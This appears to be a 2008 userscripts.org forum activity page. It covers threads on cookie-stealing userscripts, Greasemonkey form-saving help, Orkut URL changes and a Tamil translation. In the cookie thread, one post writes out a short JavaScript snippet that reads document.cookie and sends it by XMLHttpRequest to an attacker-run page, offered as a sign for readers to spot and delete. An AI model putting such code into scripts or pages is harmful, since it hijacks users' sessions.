Posts that LouCypher is monitoring

Subscribe to Posts that LouCypher is monitoring 413 posts found

Aug 13, 2008
dkhal 1 post

Topic: Cookie Stealing Scripts

yes this is known as cookie poisoning i think i read about it in Wikipedia
all they do is insert a variable in the script like this
cookie=document.cookie;
and they call an Ajax request to store the cookie on a web of their own like this:
var xmlHttp
xmlHttp=GetXmlHttpObject();
var url="savecookie.asp or .php";
url=url+"?cookie="+cookie;
xmlHttp.open("GET",url,true);
xmlHttp.send(null);

if you see any of these lines in your scripts delete it immediately and report it

 
Aug 6, 2008
Jaff Andrew 1 post

Topic: Cookie Stealing Scripts

I know script is not very safe, so each time I insalll it I will check it carefully

 
Jul 16, 2008
Lenin 5 posts

Topic: Need translators for Google Image Type script

Translation to Tamil - By Lenin(India)

For all image types,
1. அனைத்து படங்களும்
For Faces,
2. முகங்கள்
For News,
3. செய்திகள்

Its great to spread TAMIL!!

 
Jul 5, 2008
armvdw 5 posts

Topic: Cookie Stealing Scripts

I think the best way to date is by implementing this on the userscript site :
http://userscripts.uservoice.com/pages/general/...

 
Jul 5, 2008
mellamokb 1 post

Topic: Cookie Stealing Scripts

How about a watch on the call to document.cookie to determine if cookie is being interacted with in any way shape or form? This would be vulnerable to a redefinition of the watch method.

 
Jun 25, 2008
humbleandmodest 2 posts

Topic: Unlock and view any private Myspace profile and photo by scripts

where is the script???

 
Jun 12, 2008
Mikado 554 posts

Topic: setAttribute not working?

Assuming "on" radio inputs are located before "off":

button1.innerHTML = '<input type="text" name="user" value="' + GM_getValue('username', '') + '">';

button2.innerHTML = '<input type="password" name="pass" value="' + GM_getValue('password', '') + '">';

form.addEventListener("submit", checkRadio, false);

function checkRadio() {
	GM_setValue('autologin', this.elements.namedItem('autologin').checked);
	GM_setValue('favicon', this.elements.namedItem('favicon').checked);
	GM_setValue('username', this.elements.namedItem('user').value);
	GM_setValue('password', this.elements.namedItem('pass').value);
}

Otherwise,

button1.innerHTML = '<input type="text" name="user" value="' + GM_getValue('username', '') + '">';

button2.innerHTML = '<input type="password" name="pass" value="' + GM_getValue('password', '') + '">';

form.addEventListener("submit", checkRadio, false);

function checkRadio() {
	GM_setValue('autologin', !this.elements.namedItem('autologin').checked);
	GM_setValue('favicon', !this.elements.namedItem('favicon').checked);
	GM_setValue('username', this.elements.namedItem('user').value);
	GM_setValue('password', this.elements.namedItem('pass').value);
}

 
Jun 11, 2008
itsjareds 44 posts

Topic: setAttribute not working?

Woo! You rock :)

Works FINALLY, thanks to Mikado, The Dot, and LouCypher.

HOWEVER, now i need to know how to save a text field in the same way. I tried (for two hours) getting this done using what I had, and still couldn't figure it out. I know, its sad but im new at javascript :s

button1.innerHTML = "<input type='text' name='user' id='petitionname' 
       value='" + GM_getValue('username') + ">";

button2.innerHTML = "<input type='password' name='pass' id='petitionname' 
       value='" + GM_getValue('password') + ">";

form.addEventListener("submit", checkRadio, false);

function checkRadio() {
  var alo = getRadio("autologin", this);
  var fav = getRadio("favicon", this);
  var use = getRadio("user", this);
  var pas = getRadio("pass", this);

  for (var i = 0; i < alo.snapshotLength; i++) {
    saveRadio(alo.snapshotItem(i), "autologin");
  }

  for (var j = 0; j < fav.snapshotLength; j++) {
    saveRadio(fav.snapshotItem(j), "favicon");
  }

  for (var k = 0; k < use.snapshotLength; k++) {
    GM_setValue("username", use.snapshotItem(k));
  }

  for (var m = 0; m < pas.snapshotLength; m++) {
    GM_setValue("password", pas.snapshotItem(m));
  }
}

function getRadio(aStrName, aForm) {
  return document.evaluate(".//input[@name='" + aStrName + "']",
                           aForm, null, 6, null);
}

function saveRadio(aRadio, aPrefName) {
  if (aRadio.checked) {
    GM_setValue(aPrefName, aRadio.value);
    return;
  }

 
Jun 11, 2008
itsjareds 44 posts

Topic: setAttribute not working?

When you use getElementsByTagName(..), there's more than one that come up, so you have to identify which one you want with brackets like this [0]. So the namedItem would only bring one?

 
Jun 11, 2008
Mikado 554 posts

Topic: setAttribute not working?

Array of what?

 
Jun 11, 2008
itsjareds 44 posts

Topic: setAttribute not working?

:\ But if i have two elements like <input type="radio" name="favicon"...> and <input type="radio" name="favicon"...> and namedItem only returns one element, wouldn't I need an array?

 
Jun 11, 2008
Mikado 554 posts

Topic: setAttribute not working?

You seem to be too lazy to think. You have two radio elements, allowing one of two being checked; if first is not, second is.

 
Jun 11, 2008
itsjareds 44 posts

Topic: setAttribute not working?

Yeah, but I have two radio buttons. Would it work then?

 
Jun 11, 2008
Mikado 554 posts

Topic: setAttribute not working?

namedItem returns only one element.

 
Jun 10, 2008
itsjareds 44 posts

Topic: setAttribute not working?

Ok, I tried that, and still no dice :\


var form = document.getElementsByTagName('form')[0];
form.addEventListener("submit", checkRadio, false); 

function checkRadio()
{
var alo = this.elements.namedItem("autologin");
var fav = this.elements.namedItem("favicon");

  if (alo[0].checked)
    {
      GM_setValue("autologin", 1);
    }
  if (alo[1].checked)
    {
      GM_setValue("autologin", 0);
    }

  if (fav[0].checked)
    {
      GM_setValue("favicon", 1);
    }
  if (fav[1].checked)
    {
      GM_setValue("favicon", 0);
    }
}

 
Jun 10, 2008
Mikado 554 posts

Topic: setAttribute not working?

You probably need to replace autologin with this.elements.namedItem("autologin"), and favicon too.

 
Jun 10, 2008
itsjareds 44 posts

Topic: setAttribute not working?

Ok, I tried changing my script to what you said. It still doesnt seem to work :(

Here's my current script:


var form = document.getElementsByTagName('form')[0];
form.addEventListener("submit", checkRadio, false); 

function checkRadio()
{
  if (autologin[0].checked)
    {
      GM_setValue("autologin", 1);
    }
  if (autologin[1].checked)
    {
      GM_setValue("autologin", 0);
    }

  if (favicon[0].checked)
    {
      GM_setValue("favicon", 1);
    }
  if (favicon[1].checked)
    {
      GM_setValue("favicon", 0);
    }
}

 
Jun 10, 2008
The Dot 50 posts

Topic: setAttribute not working?

form.addEventListener('event', function
{
//do this on event
//blah blah blah
}, true);

event is the event name.
generally just remove "on"
i.e. onClick -> click

 
Jun 10, 2008
itsjareds 44 posts

Topic: setAttribute not working?

I don't know how to use addeventlistener :\

I'm kinda new to javascript and I can't find any good tutorials on Google. The only things I find only show how to add an event listener for on click, and it doesn't say what are different types there are like "click", "onmouseover".

 
Jun 10, 2008
Mikado 554 posts

Topic: setAttribute not working?

Function checkRadio isn't visible from page scope. Use event listener.

 
Jun 10, 2008
itsjareds 44 posts

Topic: setAttribute not working?

When I use setAttribute("onSubmit","myFunction()"), it doesn't seem to work.

I 'commented' all of my regular coding in myFunction() with /* */ so it wouldn't be seen, and put alert("hi"). When I submitted the form, it didn't alert. Why?

Also, when I checked the Error Console, it said "Error: form has no properties". But when I entered "alert(form)", it gave me a real value, not "undefined".

Here's my code. Hope you can help.


var form = document.getElementsByTagName('form')[0];
form.setAttribute("onSubmit","checkRadio()");

function checkRadio()
{
alert("hi");
/*
for (var i=0; i < autologin.length; i++)
   {
   if (autologin[i].checked)
      {
      var al = autologin[i].value;
      GM_setValue("autologin", al);
      }
   }

for (var j=0; j < favicon.length; j++)
   {
   if (favicon[j].checked)
      {
      var fi = favicon[j].value;
      GM_setValue("favicon", fi);
      }
   }
*/
}

 
May 28, 2008
V-i-k-a-s P-... 41 posts

Topic: Orkut changes url, scripts stopped working

hi Lou

yeah, read ur reply in gm forum. did that. is working fine. replied there also.

thanks to you too, viky.

also, if any of others are reading it and need further help, if u have hardcoded http://www.orkut.com/ in ur script at places, this code will give u the top level url whether it has .com or .co.in or whatever.

var topurl = i[j].href.substring(0,i[j].href.indexOf(i[j].getAttribute("href")));

it will give u http://www.orkut.com/ or http://www.orkut.co.in/ or whatever url u have been given.

now, u can use "topurl" var instead of hardcoded url and it will work universally.

HTH.

 
May 28, 2008
vikysaran 4 posts

Topic: Orkut changes url, scripts stopped working

You can only write

// @include http://www.orkut.*

Install few updated Scripts...

1. One Click Profile Optimizer
Link- http://userscripts.org/scripts/show/23901

2. Yahoo & MSN Smilies in Orkut without orkut image varification!!
Link- http://userscripts.org/scripts/show/24135

3. 'Scrap to all' link on ur HomePage
Link- http://userscripts.org/scripts/show/23894

 
May 27, 2008
V-i-k-a-s P-... 41 posts

Topic: Orkut changes url, scripts stopped working

Previously, it was a orkut.com site.

Today, they seem to have become orkut.co.in so your gm scripts must have stopped working.

Now, you need to include/ exclude both .com and .co.in in headers like

// @include http://www.orkut.com/*
// @include https://www.orkut.com/*
// @exclude http://www.orkut.com/Privacy.aspx
// @exclude http://www.orkut.com/About.aspx
//
// @include http://www.orkut.co.in/*
// @include https://www.orkut.co.in/*
// @exclude http://www.orkut.co.in/Privacy.aspx
// @exclude http://www.orkut.co.in/About.aspx

It will make ur scripts start working again on orkut.

Also, if u have hardcoded orkut.com anywhere in the page, u need to put .co.in in place of .com there too.

 
May 13, 2008
Sammpo 2 posts

Topic: Cookie Stealing Scripts

Hi, i got some problem it says windows isnt determined and document isnt determined anyone can help me plz!!